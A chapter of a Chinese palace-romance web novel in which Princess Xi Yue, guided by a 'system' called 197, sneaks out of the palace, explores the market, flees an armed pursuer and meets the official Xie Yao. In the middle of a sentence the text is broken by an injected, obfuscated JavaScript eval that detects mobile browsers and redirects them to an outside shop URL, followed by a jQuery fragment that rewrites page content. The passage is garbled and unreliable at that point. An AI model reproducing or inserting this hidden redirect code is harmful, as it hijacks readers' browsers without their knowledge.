郗月立马转身四处看,距离自己不远处有两道颀长身影,一白一紫,穿着白衣的那个人是她哥哥郗煜。
紫衣那个她自然也认得。
大脑还没有反应过来,急促的心跳声重唤起了昨夜那段让人恼火的场景,明明做坏事的不是自己,可一想到一会见面的尴尬场面她就已经开始心神不宁。
郗煜也看见了她,远远地挥了挥手,和谢尧说了什么就径直走过来了,谢尧没跟上来身影消失在了拐角处。
郗月松了口气,幸好他没过来。
“阿月,你怎么出来了,外面这么冷,要是染上了风寒,可有你受的了。”虽是责备的话,眼里却满是关心。郗煜解下身上的披风,迎头盖在郗月身上。
“那哥哥把披风给我了,染上风寒可有你受的。”郗月拖长调子学他说话。
郗煜笑笑伸手揽住她带她朝寝宫方向走,“哪有那么容易?”
郗月随手把暖炉塞给他,状似无意地提起:“刚才哥哥在跟谁一起?”
郗煜随口就应了:“刚刚擢升的大理寺卿谢尧。”
郗月长哦一声,说:“看着和哥哥你年纪相仿欸,如此年轻就已经是大理寺卿了吗?”
郗煜勾着笑斜眼觑她:“怎么?阿月可有兴趣?”
郗月抬起手肘不痛不痒地捅了郗煜一下,坚持着把话问完“哥哥说什么呢?我就是好奇而已,他人怎么样呀?”
郗煜看她问得很认真,一改方才的笑意:“你为何问起这个?”
郗月总不能说实话吧,她随便扯了谎,可她不会撒谎,怕眼里的心虚被郗煜看到,于是干脆到处看,就是不看他。
郗煜正色道:“他为人虽挑不出毛病,可是待人性子冷漠尤其不喜欢女子靠近。”就差告诉郗月你死了这条心吧。
不喜欢女子靠近?这不太对吧?看来是个会伪装的人,她得小心了。
这几日郗月一直待在寝宫里,她今天又去看了梅园里的花,只一夜的功夫,枝头的花苞就都绽开了。
她的生活太单调了,可她不是个能闲住的人,之前身体条件不允许时她也会在寝宫里做很多事情以解乏味。
而如今她获得了健康,又怎么能白白浪费,而且她也要多出去看看才能完成197给她的任务不是吗?
郗月就这样说服了自己,至于要去哪里,郗月想起了那天宴会上的某个官员说大理寺旁的梅花在盛开时节很美,整条街上都是梅花香。
景和九年,政权更迭,京城大小内乱不休。
皇宫还是一片宁静,像被包裹在蚕茧中密不透风。
宫宴刚结束,宫里又恢复了往日的寂静。
郗月撑着下巴盯着桌上的医书发呆,这会外面飘着小雪,雾蒙蒙的。
近来宫中进出严加看管,她没有手谕,也没有正当的理由,所以还没踏出宫门就被守城的侍卫请了回来。
于是她合上书,做了一件她长了这么大以来最出格的事情。
......
“还差一点,襄儿......哎哎,小心呀......等一下”郗月牢牢扒着墙,紧闭着眼睛,脚上还不忘一直使劲,脸都有些涨红,分不清是冷的还是累的。
襄儿在下面撑着郗月的腿,墙不算高,这地方偏僻所以也没有人把守,她一使劲,郗月终于牢牢扒在了最高处。
郗月悄悄睁开了眼睛,冷风吹在身上,吹得她发丝飞动糊住脸,可她从未如此觉得自己活得这般自在。
郗月屏住气,心一横,翻身越过高墙。幸好墙不高,她落到地面上时只是有些不平衡摇摇晃晃的,不过马上就站稳了。
她像话本里的侠客,撩了撩前襟,两手一拍,露出了满意的笑容。
那头的襄儿还在小声地叫她,又蹦又跳的“公主,您等等奴婢。”然后就传出了一阵细细簌簌的声音。
襄儿前几天腿上受了伤,不过她身手不输那些侍卫,翻个墙对她来说不算什么。
但是郗月觉得总归也没什么事情,她想让襄儿先好好休息,自己去就行。
郗月拉着襄儿的袖口摇了摇,小声地说:“襄儿我很快就回来,你申时到这里来接我好不好呀,你别担心,我真的很快就回来。”
襄儿不放心,但是又不想拒绝公主,只得叮咛她许久。
郗月只好再劝襄儿几句,然后一个人撑着油纸伞,踏足了一片她从未涉足的地方。
郗月不担心自己一个人外出的很大一个原因就是——“197,我们要怎么走能到街市?”
不怪这里没人看守,外面高高低低的树晃得人头晕目眩,郗月觉得自己闭上眼睛转一圈都分不清现在朝向哪边。
“宿主一个人出来很不安全。”
“没关系的,街市人一定很多吧,而且有你在,我很安心的。”郗月不在意,她第一次出宫,看周围一切事物都是新鲜的。
外面的树好像更高,枝桠放肆生长,没有宫中的整齐,却有别样的野性,外面的小路上到处都是小石子,没有宫中的路走起来方便,但是确实独一无二的,每条路都是不一样的,这是世界最原始的样子。
197:这不是安不安心的问题,宿主你让我很担心啊。
郗月一边欣赏雪景一边和197聊着天,哼哧哼哧地赶着路,终于到了京城中最热闹的街巷。
这里有各色的铺子、小摊。郗月站在铺子前,眼睛提溜地盯着用木棒穿起来的圆滚滚的红色小球,眼里写满了好奇和渴望。
“姑娘买一串吗,新鲜出炉的。”小摊老板是个和蔼的爷爷。
“这是什么东西?”郗月真诚地发问。
摊主都愣了一下,看着眼前举手投足间藏不住的贵气的容貌惊人的小姑娘,随后反应过来这可能是哪家富贵的小姐,不知道冰糖葫芦是什么。
他哈哈笑了两声,耐心地跟郗月介绍冰糖葫芦。
郗月想起了襄儿在她出发前给她准备的银钱,她喜滋滋地掏出来递给摊主。
“拿好了姑娘,咬着吃就成。”郗月接住了递来的冰糖葫芦,眼睛跟着它一起移动。
“谢谢您。”眼神都快粘在手上的东西上了,她最后还不忘跟摊主道谢,珍惜地拿着自己的糖葫芦走了。
她伸出舌尖轻轻舔了一口,甜滋滋的幸福得她眼睛都眯起来了。她试探地咬了一口,咔擦一声,咬破了外面的糖,里面的山楂酸酸的。
“197,这个好好吃,你吃过吗?”随后又想起什么“神仙应该不会吃东西吧,你们都是吃仙丹喝露水的吗?”
197:......
它有些后悔起初顺着它的宿主说的那样,承认它是个神仙了,它家宿主未来怕不是想成神,怎么这么多问题。
“我确实没吃过,我们是不用进食的。”
“啊,那好可惜呀,这个真的好好吃。”说完郗月又咬了一口,鼓着腮帮子,像个过冬屯粮的仓鼠。
郗月一手拿着冰糖葫芦,一手撑着油纸伞,眼睛里装着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275621|198232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大大小小的糕点,脑子里还想着喝杯茶顺顺。
东西太多啦,她什么都好想要啊。
但是秉持着不能浪费的原则,郗月瘪瘪嘴,终是打消了想法。
“197,我们还没到地方吗?”她从来没走过这么远的路,现在脚都走得有些累了。
“不远了宿主。”197调出了京城的城防图,“再过两条街就要到了。”
郗月手上的糖葫芦已经吃完了,她走了一会找到灰土堆才扔下了手中的竹签。
这条街隔在大理寺和热闹的街市中间,有些冷清,天公不作美,也就闹市街区还有零星几人,这会拐进了小道更是见不到什么人。
入目皆是一片雪白,此时好像只听得见脚陷进松软雪中的咯吱声。
满目苍白模糊了方向,郗月四下望了望,却看到不远处转弯的地方有一摊红色的痕迹,与这洁白的雪形成了强烈视觉冲击。
不用细想,她立刻就意识到了这是一摊血。还没有被新鲜的雪覆上,像是才过不久前留下的痕迹。
此时她孤身一人,这时候好奇只会害惨她。
她有些发怵,呼吸都下意识轻了几分,后撤了两步,大脑给出了强烈的指令,跑,对,快跑。
三十六计走为上策,她扔掉手中的油纸伞,准备赶紧离开这里。
可一转头就看见巷子尽头一个黑衣男子,他蒙着面全身上下只露出了一双眼睛。两人隔了很远,郗月都能感受到这人身上散发出来的杀气。
“检测到危险因素!检测到危险因素!”电子音在郗月脑中炸开,紧跟着的是197刺耳的尖叫声“宿主快跑啊。”
黑衣男子距离她还有一条巷子的距离。以她的身体素质,只怕没有希望能逃出生天。
不跑横竖都是死,就算她成了刀下亡魂,这也就是命了。
她满脑子都是快点跑,郗月感觉到冷风在身边破空,呼呼地响,刺骨的冷空气吸入肺部让她小脸憋得通红,可她不能停下。
她感觉不到身后的人距离自己多远,更不敢回头去看,只是一味地拖着自己疲惫的双腿向前跑。
面前是拐角,她闷着头撞上了一堵人墙,鼻尖传来熟悉的味道。
抬头一看,果然是那人。这时候她也顾不上那夜的什么事了,只觉得心里的恐慌一瞬间被抹平了,但心还在剧烈地跳。
一种劫后余生的感觉自她心底猛烈蔓延开,郗月眼睛蒙上雾气,止不住的泪滴在雪里砸出小坑。
她一手胡乱擦着脸不想让别人看到自己狼狈的样子,一手扶着墙,竭力试图恢复平稳的呼吸。
对面的人不置一词,只用那双丹凤眼看着她,与那晚血红的眼睛不同,黝黑的眸子里满是冷漠和事不关己。可到底郗月认识他,看到熟悉的人,郗月总算感觉到了安心。
郗月不确定谢尧还认不认识她,她断断续续开口,带着竭力压制的哭腔,“那边......有血,刚刚有人追我......”
谢尧微不可察地皱起眉,越过郗月转身向郗月跑过来的地方看过去,空无一人,地上只能看见一道脚印,应该是郗月的。
“公主,移步大理寺?”虽是问句,但是好像也没给郗月选择的机会,转身就准备走。
两人根本没有在双方都清醒的时候见过面,所以郗月还有些惊讶他认识自己,但又因为刚刚的事情,现在还惊魂未定,忙不迭跟上谢尧的步伐,不敢离开半步,像是初生的鸡雏亦步亦趋地跟着鸡妈妈学走路那样。